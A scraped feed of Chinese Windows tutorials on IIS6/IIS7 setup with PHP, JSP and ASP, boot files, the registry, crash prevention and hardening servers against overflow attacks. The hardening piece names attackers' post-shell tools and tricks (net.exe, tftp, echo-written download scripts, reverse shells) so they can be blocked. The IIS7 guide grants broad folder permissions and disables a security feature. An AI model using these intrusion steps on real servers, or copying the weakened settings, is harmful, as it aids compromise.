2003&amp;rdquo;安装盘，在其&amp;ldquo;I386&amp;rdquo;文件夹下找到这份文件并复制到&amp;ldquo;IIS6&amp;rdquo;文件夹中。将&amp;ldquo;查找文件&amp;rdquo;对话框的&amp;ldquo;查找范围&amp;rdquo;定位到&amp;ldquo;IIS6&amp;rdquo;文件夹即可看到所需的文件。选中该文件单击&amp;ldquo;打开&amp;rdquo;按钮。 
　　
　　二、IIS6.0 Asp.Net2.0 的支持
&amp;nbsp;&amp;nbsp;&amp;nbsp; 默认情况下，IIS6.0是在.Net1.1下运行，其实默认Windows Server 2003已经安装了.Net2.0只是没有配置到扩展组件中。所以此时网站是不认aspx页面的总报404错误。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 处理办法：到c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\文件夹下看了所以文件发现了aspnet_regiis.exe ，在命令行执行加上-i参数。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 说明：-i 安装与 Aspnet_regiis.exe 相关的 ASP.NET 版本，并更新 IIS 配置数据库根及其下的脚本映射。 &amp;nbsp;&amp;nbsp;注意 仅更新使用早期 ASP.NET 版本的应用程序的脚本映射。使用后续版本的应用程序不受影响。
&amp;nbsp;
　　经过以上操作，网站终于正常了。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>在WinNT架构的启动进程中，有一个文件也是需要注意的，这个文件 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9712.html </link>
<description> </description>
<text>

　　烈火建站学院（LieHuo.Net）windows系统 现在安装多重启动系统的朋友越来越多了，但是很少有人能够完全知道，在多重启动系统中的几个重要文件的作用是什么。下面让笔者简单地予以介绍，希望大家以后能关注这些文件，以备不时之需。
　　由于Windows 95/98/ME(以下简称Win9X)和Windows NT/2000/XP/Server 2003(以下简称WinNT)的引导方式完全不同，所以在多重启动系统里面，微软采用了一种很巧妙的方式来解决这个问题。Win9X采用的直接读取引导扇区的方式来启动系统，而WinNT是通过NTLDR和NTDETECT.COM来启动系统的。这也是为什么Win9X害怕引导区计算机病毒的原因之一。需要说明的是，在WinNT架构的启动进程中，有一个文件也是需要注意的，这个文件就是经常被大家挂在嘴边的BOOT.INI文件。由于这个文件的重要性被过度强化，给大家造成了这个文件是无所不能的一种错误的印象，也就出现了一些&amp;ldquo;经典&amp;rdquo;的错误。例如&amp;ldquo;备份双系统启动文件只需要备份C盘根目录下得BOOT.INI文件就可以了&amp;rdquo;。其实不然，在某些情况下，只备份这个文件是不能够解决问题的。详细的解释请看后面的说明。
　　一、最重要的五个文件
　　本文将分析在多重启动系统中起重要作用的文件，它们分别是以下几个:BOOT.INI、BOOTFONT.BIN、BOOTSECT.DOS、NTDETECT.COM、NTLDR。其中BOOT.INI是大家非常熟悉的一个配置文件。从这个文件可以选择启动的操作系统是什么?而且还可以通过修改BOOT.INI文件控制启动的方式，如在操作系统说明符后面加上&amp;ldquo;/fastdetect&amp;rdquo;参数，可以使用快速自检模式。同样，还有&amp;ldquo;/nodetect&amp;rdquo;等参数可供使用。但是，不是说没有这个文件就不能够启动你的操作系统，丢失这个文件的后果就是只能从C盘启动。同时，由于这个文件是完完全全的一个文本类型的文件，我们可以使用任何文本编辑工具编辑这个文件。换句话说，BOOT.INI在多重启动系统中不是最重要的一个文件，也就说不上&amp;ldquo;备份双系统启动文件只要备份C盘根目录下的BOOT.INI文件就可以了&amp;rdquo;。
　　熟悉多重启动系统启动模式的朋友们都知道，操作系统的启动流程从NTLDR开始。NTLDR通过读取BOOT.INI文件，确定操作系统启动分区的位置。对于只有一个操作系统的电脑，NTLDR启动NTDETECT.COM开始下一步的启动流程，而对于含有多重启动操作系统的电脑，NTLDR将把BOOT.INI的选择菜单内容显示在屏幕上供使用者选择。可见，NTLDR是决定多重启动系统的关键性文件。而常见的启动出错提示也是:&amp;ldquo;NTLDR is missing.&amp;rdquo;。那么其他的文件又有什么用处呢?
　　NTDETECT.COM是一个用于对硬件设备初始化的一个系统级别的文件，然后把这些硬件信息传递给下一个启动步骤，最终完成操作系统的启动。需要说明的是，这个文件仅存于NT架构的操作系统里面，而在Win9X下的启动流程又是另外的一种方式。
　　以上3个文件的重要性已经为不少读者有所了解，但是下面这个文件的重要性恐怕很少有人知道了。这个文件就是在多重启动中启动Win9X操作系统的一个非常关键的文件:BOOTSECT.DOS。从名字上是看不出这个文件有什么特殊的用途的，但是如果你的多重启动操作系统组合里面含有Win9X，那么你一定可以在C盘根目录发现这个文件。这个文件不大，只有512字节。其实这个文件里面存放的就是大家非常熟悉的启动扇区里面的全部数据。那这个文件是如何产生的呢?当NTLDR被安装的时候，安装程序自动地将原先的启动扇区保存为BOOTSECT.DOS文件，然后使用新的启动数据覆盖这个扇区。当这个文件丢失的时候，你再选择启动Win9X时，你看到的不再是熟悉的蓝天白云的启动画面，而是屏幕上的一串英文提示，翻译过来的大意就是I/O错误，系统无法启动。为什么会这样?因为NTLDR从你的选择中得知你将启动Win9X系统，然后去读取BOOTSECT.DOS文件以开始Win9X启动流程，但是由于BOOTSECT.DOS文件不存在，所以启动过程当然会失败了。
　　另外一个比较重要的文件就是BOOTFONT.BIN。这个文件实际上就是一个中文字体库，用于在启动的时候有中文显示。否则你看到的只有满屏的英文提示。
　　以上5个文件全部位于C盘根目录下，而且都具有一定的属性，例如隐藏、系统、只读等。察看、修改这些文件需要先取消这些特别属性，否则你的操作将不能够进行。
　　二、需要注意的问题
　　NTLDR、NTDETECT.COM两个文件具有向下兼容性，但是不具有向上兼容性，也就是说你可以使用Windows XP的这两个文件启动Windows 2000，但是却不能够启动Windows Server 2003，这也解释了为什么很多朋友在已经安装有Windows XP的电脑上安装Windows 2000以后启动Windows XP失败的原因。解决方法其实很简单:从Windows XP安装光盘里面取出这两个文件覆盖C盘根目录上的同名文件即可。还有就是那个容易被大家忽略的BOOTSECT.DOS文件，一旦这个文件丢失或损坏，当然是不能够启动Win9X了。解决方法也很简单:插入一张Win9X启动盘，执行SYS C:命令，然后重新启动，这个时候Win9X的启动已经恢复，只要重新运行WinNT安装光盘，选择修复即可恢复多重启动的选择启动模式。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows操作系统是全球最广泛，使用者最多的软件，熟悉Windows软 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9713.html </link>
<description> </description>
<text>

　　烈火建站学院(LieHuo.Net)Windows文档 Windows操作系统是全球最广泛，使用者最多的软件，熟悉Windows软件成了电脑操作者必不可少的功课，注册表作为&amp;ldquo;Windows的神经系统&amp;rdquo;非常重要，相信很多朋友都非常熟悉注册，在开始－运行：regedit.exe 有时候通过注册表编辑器来修改注册表，只有一小部分能立即生效，怎么能让注册表在不重启的情况下快速生效呢？
　　以下是注册表立即生效方法的几点总结:
　　１.打开任务管理器，结束explorer.exe这个进程,然后&amp;quot;文件&amp;quot;－＞&amp;quot;新建任务&amp;quot;,输入&amp;quot;explorer.exe&amp;quot;－＞&amp;quot;确定&amp;quot;(对大部分情况适用) 。
　　２.在VC++6.0/MFC中利用消息发送函数向WINDOWS发送刷新注册表的消息,函数可写为::SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,NULL,NULL);//(对绝大部分情况适用) 
　　３.要是以上方法都不行,就只有注销或重新启动了。
&amp;nbsp;

　　注册表的由来
　　在Windows 3.x操作系统中，注册表是一个极小文件，其文件名为Reg.dat，里面只存放了某些文件类型的应用程序关联，大部分的设置放在Win.ini、System.ini等多个初始化INI文件中。由于这些初始化文件不便于管理和维护，时常出现一些因INI文件遭到破坏而导致系统无法的启动的问题。为了使系统运行得更为稳定、健壮，Windows 95/98设计师们借用了Windows NT中的注册表的思想，将注册表引入到Windows 95/98操作系统中，而且将INI文件中的大部分设置也移植到注册表中，因此，注册表在Windows 95/98操作系统的启动、运行过程中起着重要的作用。
　　注册表的作用
　　注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作，所以所有设备都通过注册表来控制，一般这些是通过BIOS来控制的。在Win95下，16位驱动会继续以实模式方式设备工作，它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下，它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。
　　在没有注册表的情况下，操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 
　　在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备，它使用驱动程序，甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动，这个驱动是独立于操作系统的，但是操作系统需要知道从哪里找到它们，文件名、版本号、其他设置和信息，没有注册表对设备的记录，它们就不能被使用。 
　　当一个用户准备运行一个应用程序，注册表提供应用程序信息给操作系统，这样应用程序可以被找到，正确数据文件的位置被规定，其他设置也都可以被使用。 
　　注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息（比如说日期），安装软件的用户，软件版本号和日期，序列号等。根据安装软件的不同，它包括的信息也不同。 
　　然而，一般来说，注册表控制所有32位应用程序和驱动，控制的方法是基于用户和计算机的，而不依赖于应用程序或驱动，每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以，计算机功能和安装的硬件和软件有关，对所有用户来说项都是公用的。 
　　有些程序功能对用户有影响，有些时作用于计算机而不是为个人设置的，同样的，驱动可能是用户指定的，但在很多时候，它们在计算机中是通用的。 
　　注册表控制用户模式的例子有： 
　　控制面板功能； 
　　桌面外观和图标； 
　　网络参数； 
　　浏览器功能性和特征； 
　　那些功能中的某些是和用户无关的，有些是针对用户的。 
　　计算机相关控制项基于计算机名，和登陆用户无关。控制类型的例子是安装一个应用程序，不管是哪个用户，程序的可用性和存取是不变的，然而，运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机，但是当前连接和用户信息相关。 
　　这里是在注册表中基与计算机控制条目的一些例子： 
　　存取控制； 
　　登陆确认； 
　　文件和打印机共享； 
　　网卡设置和协议； 
　　系统性能和虚拟内存设置； 
　　在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互，比如复制和粘贴，它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置，理解注册表仍是做Winnt和Win95系统管理基本常识。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O415942O540-12162_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)服务器教程 今天小编在网上看到一篇 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9714.html </link>
<description> </description>
<text>副标题#e#
						



　　烈火建站学院(LieHuo.Net)服务器教程 今天小编在网上看到一篇非常好的教程，是关于Vista64位下配置IIS7.0+Cgi+PHP+MySQL+ZEND+GD+Asp+Asp.NET+Access+JSP的教程，所以进行了整理并发面出来，本文旨在更好的服务于站长，绝没有不尊重作者劳动成果的意图。
　　Cgi配置： 
　　首先下载ActivePerl x64:http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.822-MSWin32-x64-280952.msi 双击安装，完毕后你的空间已经支持.pl了，环境变量，包括映射都为你做好了，若你还想支持.cgi,那么只需要打开Handler Mappings进行如下操作 
&amp;nbsp; 
　　Request path:*.cgi 
　　Executable:F:\Perl64\bin\perl.exe &amp;quot;%s&amp;quot; %s 
　　Name:AboMapperCustom-60185-CGI即可完成空间支持cgi操作 
　　将以下代码保存为env.pl或env.cgi分别放入空间下，出现如图即成功 
&amp;nbsp;


    
        
            以下为引用的内容：#!/usr/local/ActivePerl-5.6/bin/perl -w # # env.pl ## This script dumps the environment variables in HTML format use strict; use warnings; $|=1; print &amp;quot;Content-type:text/html\n\n&amp;quot;; foreach my $var (sort keys %ENV) { print $var . &amp;quot;=&amp;quot; . $ENV{$var} . &amp;quot;&amp;lt;br&amp;gt;\n&amp;quot;; } 
        
    

&amp;nbsp;
&amp;nbsp; 
　　另外要说的是你的磁盘除了System/Adimnistrators外还应该给一个Users权限，不然不会成功。

						#p#副标题#e#




　　PHP配置： 
　　首先让我们开启iis7.0,在命令符中输入下列命令： 


    
        
            以下为引用的内容：start /w pkgmgr /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-ManagementScriptingTools;IIS-ManagementService;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;IIS-LegacySnapIn;IIS-FTPPublishingService;IIS-FTPServer;IIS-FTPManagement;WAS-WindowsActivationService;WAS-ProcessModel;WAS-NetFxEnvironment;WAS-ConfigurationAPI 
        
    


　　下文中无意外，我将PHP、MySQL、Zend装在F盘: 
　　打开我的电脑-&amp;gt;属性-&amp;gt;高级系统设置-&amp;gt;环境变量里，添加上可执行文件的查找路径（PATH）和 php.ini 的查找路径（PHPRC）： 
　　F:\php;F:\php\ext; 
　　&amp;nbsp; 
　　接下来是PHP的配置，建议下载压缩包，随便解压到任何一个位置，比如我放在F:\php下，编辑文件夹里的php.ini-dist文件， 
　　extension=php_gd2.dll 
　　extension=php_mbstring.dll 
　　extension=php_mysql.dll 
　　去掉前面的分号，至此已经支持gd库 
　　将 extension_dir = &amp;quot;./&amp;quot; 
　　改为extension_dir = &amp;quot;F:/php/ext/&amp;quot; 
　　注意后面一定要/结尾 
　　查找session.save_path,并去掉前面的勾,设置你想要的会话 
　　; where MODE is the octal representation of the mode. Note that this 
　　; does not overwrite the process's umask. 
　　session.save_path = &amp;quot;F:/tmp&amp;quot; 
　　然后改名为php.ini并复制到c:\windows系统目录中 
　　配置如图: 
　　在ISAPI and CGI Restrictions选项中进行, 
　　&amp;nbsp; 
　　在Handler Mappings中右击&amp;quot;添加脚本映射&amp;quot;,如图 
　　&amp;nbsp; 
　　在Default Document中添加index.php,Default.php 
　　&amp;nbsp; 
　　请根据自己的需要调整 
　　下面进行应用程序，缓冲池配置 
　　&amp;nbsp; 
　　右击&amp;quot;添加应用程序缓冲池 
　　&amp;quot;&amp;nbsp; 
　　在在配置好的缓冲池上右击&amp;quot;设置默认缓冲池&amp;quot;,并进行如图配置,当然如果你不想遇到错误的话，可以不进行 
　　&amp;nbsp; 
　　在你的站点上右击&amp;ldquo;高级设置&amp;rdquo;,并进行如下设置 
　　&amp;nbsp; 
　　站点默认属性,进行以下设置 
　　&amp;nbsp; 
　　好了，现在可以正常浏览了，而且不会出现错误哦， 
　　写个页面测试一下吧。


    
        
            以下为引用的内容：&amp;lt;?phpinfo()?&amp;gt; 
        
    


　　&amp;nbsp; 
#p#副标题#e#




　　配置mysql 
　　下载最新的安装程序，根据提示安装就行了，最后下载最新版的phpMyAdmin进行管理， 
　　&amp;nbsp; 
　　关于zend相同，下载最新版并按照提示进行安装，最后需要指出的是，你会发现zend并不能正常工作，没关系， 
　　在&amp;ldquo;我的电脑&amp;rdquo;右击属性，进行&amp;quot;环境变量&amp;quot;的设置， 
　　在path中进行路径指定, 
　　如我装在F盘 
　　F:\php;F:\php\ext;F:\Zend\lib;F:\Zend\lib\Optimizer-3.2.2\php-5.2.x; 
　　&amp;nbsp; 
　　IIS7配置ASP+Access使用环境 
　　默认装完IIS7之后，使用ASP程序会发现提示数据库连接失败， 
　　先要设置应用程序池(Application Pool)为Classic .NET AppPool，而不是默认的Default AppPool，可以在网站目录里对每个站点设置，也可以在站点进行单独设置。 
　　&amp;nbsp; 
　　选择好要设置的站点之后，点右边的&amp;ldquo;基本设置&amp;rdquo;即可调出应用程序池设置对话框。 
　　设置应用程序池(Application Pool)为Classic .NET AppPool（不分大小写），然后给&amp;ldquo;系统盘:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp&amp;rdquo;目录添加一个&amp;ldquo;Authenticated Users&amp;rdquo;用户，其中AppData目录是隐藏的，将Authenticated Users的权限中的完全控制打开。 
　　&amp;nbsp; 
　　因为MS Jet引擎改变了临时目录的位置，但是又没有对临时的存取权限，导致数据库使用失败。 
　　方法2通过不加载用户验证配置来解决，失去了IIS7的安全改进： 
　　修改： 
　　C:\Windows\System32\inetsrv\config\applicationHost.config 
　　该文件第108行原文： 
　　&amp;lt;processModel identityType=&amp;quot;NetworkService&amp;quot; /&amp;gt;
　　修改为： 
　　&amp;lt;processModel identityType=&amp;quot;NetworkService&amp;quot; loadUserProfile=&amp;quot;false&amp;quot; /&amp;gt;
　　启用父路径支持 
　　&amp;nbsp; 
　　在站点主页上选择&amp;ldquo;ASP&amp;rdquo;，然后在&amp;ldquo;行为&amp;rdquo;组中将&amp;ldquo;启用父路径&amp;rdquo;设置为True即可。 
#p#副标题#e#




　　IIS7+ASP.NET 
　　&amp;nbsp; 
　　&amp;nbsp; 
　　IIS7+JSP使用环境 
　　1.安装JDK 1.6与Tomcat 6,生产环境 
　　http://java.sun.com/javase/downloads/index.jsp 
　　http://www.apache.org/dist/tomcat/tomcat-6/v6.0.13/bin/ 
　　建议安装exe版本以服务的方式运行,JDK和exe版的Tomcat基本不需要配置.
　　首先安装JDK，然后安装Tomacat,安装完毕进行环境变量设置，如下: 
　　设置环境变量 
　　在&amp;ldquo;系统变量&amp;rdquo;下方单击&amp;ldquo;新建&amp;rdquo;按钮。 
　　Path:F:\Java\jdk1.6.0_01\bin 
　　JAVA_HOME:F:\Java\jdk1.6.0_01 
　　CLASSPATHF:\Java\jdk1.6.0_01\lib\tools.jar 
　　TOMCAT_HOMEF:\Tomcat 6.0 
　　打开http://127.0.0.1:8080/（127.0.0.1表示本地机器，8080是Tomcat默认监听的端口号），将出现Tomcat页面。 
　　&amp;nbsp; 
　　&amp;nbsp; 
　　测试页面：将如下代码保存为test.jsp


    
        
            以下为引用的内容：&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;FirstPage-烈火建站学院 www.liehuo.net&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;H3&amp;gt;Todayis: &amp;lt;%=newjava.util.Date()%&amp;gt; &amp;lt;/H3&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 
        
    


　　图： 
　　&amp;nbsp; 
　　Tomcat的文档首页位置是Tomcat安装目录下的\webapps\ROOT。 
　　注意IIS和Tomcat都使用各自默认的端口80和8080.  </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O4159509D40-2Mb_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)讯 电脑的死机现象是一个令所有电脑 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9715.html </link>
<description> </description>
<text>

　　烈火建站学院(LieHuo.Net)讯 电脑的死机现象是一个令所有电脑爱好者都头疼不已的问题。对于电脑频繁的蓝屏，频繁的死机，一次又一次的重新启动真是令人感到无比厌烦。况且，对电脑进行频繁的重启所带来的硬件的损耗比正常运行时要大好几倍，这无疑大大增加了硬件损坏的几率。
　　但是采用Windows 9X操作系统的电脑，死机却是一件无法避免的事情，究其原因是由于Windows 9X操作系统自身核心不稳定造成的。
　　虽然死机是不可避免的，但是笔者在长期与死机的艰苦斗争中，还是总结出一些可以有效地减少电脑死机的方法，不敢独享，特写出来奉献给各位读者，希望大家的电脑都能减少一些死机，多一些稳定。
　　产生死机的原因很多，但总的来说不外乎两大类：硬件原因和软件原因。下面我就分开来给大家具体地讲一讲。
　　硬件篇
　　1.现在的CPU和显示卡由于采用了新工艺，所以都具有不错的超频性能，但超频极易引起系统的不稳定甚至死机（损坏硬件暂且不论）。对于由超频引起的死机现象，应当及时予以降频，或恢复其额定工作频率，以保证电脑稳定工作。
　　2.在更换电脑配件时，安装完毕后，一定要再仔细检查一遍，看硬件是否已经插好，以防止接触不良引起死机。
　　3.有时由于各个硬件之间的冲突而引起死机，这时要试试为板卡刷新新版的BIOS，更新驱动程序或是更改系统中的设备的中断号，实在不行的话，请更换硬件。
　　4.主板的BIOS一定要设定得当，虽然现在许多报纸、杂志和网站都教大家如何将BIOS设置为最优，但殊不知最优的设定却不一定是最稳定的。若由于BIOS设置不当引起死机，应立即将BIOS恢复到出厂时的缺省设置。
　　5.电脑主机一定要配备高质量高性能的电源，因为现在的电脑配件耗电量都较大，特别是超频使用时，耗电量会倍增，若此时电源功率不足，硬件便会出现供电不足的情况，从而引起死机。
　　6.在内存较小的情况下（小于128M），最好不要运行占用内存较多的软件和游戏或是同时运行多个程序，这样会导致物理内存不足，从而引起死机。
　　7.在升级主板或是显示卡的BIOS之前，一定要先确定所要升级的BIOS的版本号是否与板卡的型号相符，同时强烈建议备份原来的版本，以防万一。
　　8.空气中蕴藏着大量的灰尘，久而久之机箱中便会积攒大量的灰尘，这时应当及时清理，否则严重影响散热效果，且灰尘接触板卡电路时会引起短路，从而引起死机。
　　9.&amp;ldquo;严密监视&amp;rdquo;各个配件的温度，特别是盛夏来临之时，天气炎热，此时若配件温度过高便会引起死机。
　　软件篇
　　1.对于来历不明的软件、光盘或是盗版软件，一定不要轻易使用，以免传染电脑病毒，引起死机。
　　2.一定要对电脑进行正常的关机，绝对不能直接关闭电源，否则容易造成系统文件丢失或是损坏，引起死机。
　　3.在删除软件时，不要将软件所在的目录直接删除，这样的话会在硬盘和注册表中残留大量的垃圾，久而久之会越集越多，导致系统负担加重，最后系统会不堪重负而死机。正确的方法是，采用软件自带的卸载程序对软件进行删除。
　　4.在电脑常时间运行后或是系统资源低下的情况下，如果要运行大型软件，一定要先将电脑重新启动，否则会因为系统资源不足而引起死机。
　　5.最好少用软件或是硬件驱动的测试版本，因为测试版本中存在着大量的BUG和不稳定因素，易导致死机。
　　6.对于系统文件最好使用隐藏属性，这样才不会因为误删系统文件而导致死机。
　　7.上网时，一次不要打开过多的网页，以免系统负担过重，从而导致死机。再有，千万不要打开一些不大清楚的网页，因为其中可能含有一些恶意代码，对系统进行修改，从而导致死机。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网(LieHuo.Net)服务器讯 溢出是程序设计者设计时的 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9716.html </link>
<description> </description>
<text>副标题#e#
						



　　烈火建站学院(LieHuo.Net)服务器讯 溢出是程序设计者设计时的不足所带来的错误,溢出也是是操作系统、应用软件永远的痛。在骇客频频攻击、系统漏洞层出不穷的今天，任何人都不能保证操作系统系统、应用程序不被溢出。既然溢出是必然的，并且利用溢出攻击的门槛又较低，有一定电脑基础的人都可以利用工具完成一次溢出。这样看来，电脑系统就处于随时被溢出的危险中，特别是肩负重任的服务器如果被溢出被渗透的话那后果不堪设想。我们总不能坐以待毙，做为网络管理人员，应该未雨绸廖做好防范工作，把服务器被溢出的可能性降到最低。 
　　一 什么是溢出： 
　　溢出是黑客利用操作系统的漏洞，专门开发了一种程序，加相应的参数运行后，就可以得到你电脑具有管理员资格的控制权，你在你自己电脑上能够运行的东西他可以全部做到，等于你的电脑就是他的了。 
　　二 服务器溢出该如何防： 
　　1、必须打齐补丁： 
　　尽最大的可能性将系统的漏洞补丁都打完;MicrosoftWindowsServer系列的服务器系统可以将自动更新服务打开，然后让服务器在指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。如果服务器为了安全起见禁止了对公网外部的连接的话，可以用Microsoft WSUS服务在内网进行升级。
　　2、服务最小化：
　　最少的服务等于最大的安全，停掉一切不需要的系统服务以及应用程序，最大限度地降底服务器的被攻击系数。比如前阵子的NDS溢出，就导致很多服务器挂掉了。其实如果WEB类服务器根本没有用到DNS服务时，大可以把DNS服务停掉，这样DNS溢出就对你们的服务器不构成任何威胁了。 
　　3、端口过滤：
　　启动TCP/IP端口的过滤，仅打开服务器常用的TCP如21、80、25、110、3389等端口;如果安全要求级别高一点可以将UDP端口关闭，当然如果这样之后缺陷就是如在服务器上连外部就不方便连接了，这里建议大家用IPSec来封UDP。在协议筛选中只允许TCP协议、UDP协议 以及RDP协议等必需用协议即可;其它无用均不开放。 
　　4、系统防火墙：
　　启用IPSec策略，为服务器的连接进行安全认证，给服务器加上双保险。封掉一些危险的端口，诸如：135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。通过IPSec禁止UDP或者不常用TCP端口的对外访问就可以非常有效地防反弹类木马。 
　　5、系统命令防御： 
　　删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制关键系统文件、命令及文件夹：
　　(1)、黑客通常在溢出得到shell后，来用诸如net.exe、net1.exe、ipconfig.exe、user.exe、query.exe、 regedit.exe、regsvr32.exe 来达到进一步控制服务器的目的。如：加账号、克隆管理员了等等。我们可以将这些命令程序删除或者改名。4 t( B+ L/ O- y. 
　　提示：在删除与改名时先停掉文件复制服务 (FRS)或者先将 %windir%system32dllcache下的对应文件删除或改名。我爱电脑技术社区--打造最好的电 
　　(2)、也或者将这些.exe文件移动到你指定的文件夹,这样也方便以后管理员自己使用。 
　　(3)、访问控制表列ACLS控制： 
　　找到%windir%system32下找到cmd.exe、cmd32.exe、net.exe、net1.exe、ipconfig.exe、tftp.exe、regedit.exe、regedt32.exe、regsvr32.exe这些黑客常用的文件，在&amp;ldquo;属性&amp;rdquo;&amp;rarr;&amp;ldquo;安全&amp;rdquo;中对他们进行访问的ACLs用户进行定义，诸如只给administrator有权访问，如果需要防范一些溢出攻击、以及溢出成功后对这些文件的非法利用;那么我们只需要将system用户在ACLs中进行拒绝访问即可。

						#p#副标题#e#



 
　　(4)、如果你觉得在GUI下面太麻烦的话，你也可以用系统命令的CACLS.EXE来对这些.exe文件的Acls进行编辑与修改，或者说将他写成一个bat批处理文件来执行以及对这些命令进行修改。 
　　(5)、对磁盘如C、D、E、F等进行安全的ACLS设置从整体安全上考虑的话也是很有必要的，另外特别要对Windows、WinntSystem、Document and Setting等文件夹。 
　　(6)、组策略配置： 
　　想禁用&amp;ldquo;cmd.exe&amp;rdquo;，执行&amp;ldquo;开始&amp;rarr;运行&amp;rdquo;输入gpedit.msc打开组策略，选择&amp;ldquo;用户配置&amp;rarr;管理模板&amp;rarr;系统&amp;rdquo;，把&amp;ldquo;阻止访问命令提示符&amp;rdquo;
　　设为&amp;ldquo;启用&amp;rdquo;。同样的可以通过组策略禁止其它比较危险的应用程序。 
　　(7)、服务降级： 
　　对一些以System权限运行的系统服务进行降级处理。比如：将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以 System权限运行的服务或者应用程序换成其它administrators成员甚至users权限运行，这样就会安全得多了。但前提是需要对这些基本运行状态、调用API等相关情况较为了解。 
　　小结：其实，关于防止如Overflow溢出类攻击的办法除了用上述的几点以外，还有很多种办法：比如通过注册表进行建立相应的键值，进行设置;写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了，以及对Shellcode较有研究。 
　　三 、如何防止溢出获取Shell后对系统的进一步入侵 
　　1、 在做好1中上述的工作之后，基本上可以防目骇客在溢出之后得到shell了;因为即使Overflow溢出成功，但在调用CMDSHELL、以及对外联接时就卡了。 (为什么呢，因为:1.溢出后程序无法再调用到CMDSHLL已经禁止system访问CMD.exe了。2.溢出之后在进行反弹时已经无法对外部IP进行连接了。所以，基本上要能过system权限来反弹shell就较困难的了...) 
　　2、 当然世界上是不存在绝对的安全的，假设入侵者在得到了用户的shell之后，做些什么呢?一般入侵者在在得到shell之后，就会诸如利用系统命令加账号了 通过tftp、ftp、vbs等方式传文件了等等来达到进一步控制服务器。这里通过1上述的办法对命令进行了限制，入侵者是没有办法通过tftp、ftp来传文件了，但他们仍然可以能过echo写批处理，用批处理通过脚本BAT/VBS/VBA等从WEB上下载文件，以及修改其它盘类的文件等潜在破坏行为。所以用户需要 将echo命令也限制以及将其它盘的System写、修改文件的权限进行处理。以及将VBS/VBA类脚本以及XMLhttp等组件进行禁用或者限制system的运行权。这样的话别人得到Shell也无法对服务器上的文件进行删除以及进行步的控制系统了;以及本地提权反弹Shell了。 
　　服务器的安全是个系统工程，任何小小的疏忽都有可以造成服务器的沦陷。&amp;ldquo;防&amp;rdquo;永远比&amp;ldquo;补&amp;rdquo;好，管理员&amp;ldquo;防&amp;rdquo;在溢出之前，把被攻击的危险降到最低，这才是真正的服务器安全之道。&amp;nbsp; 
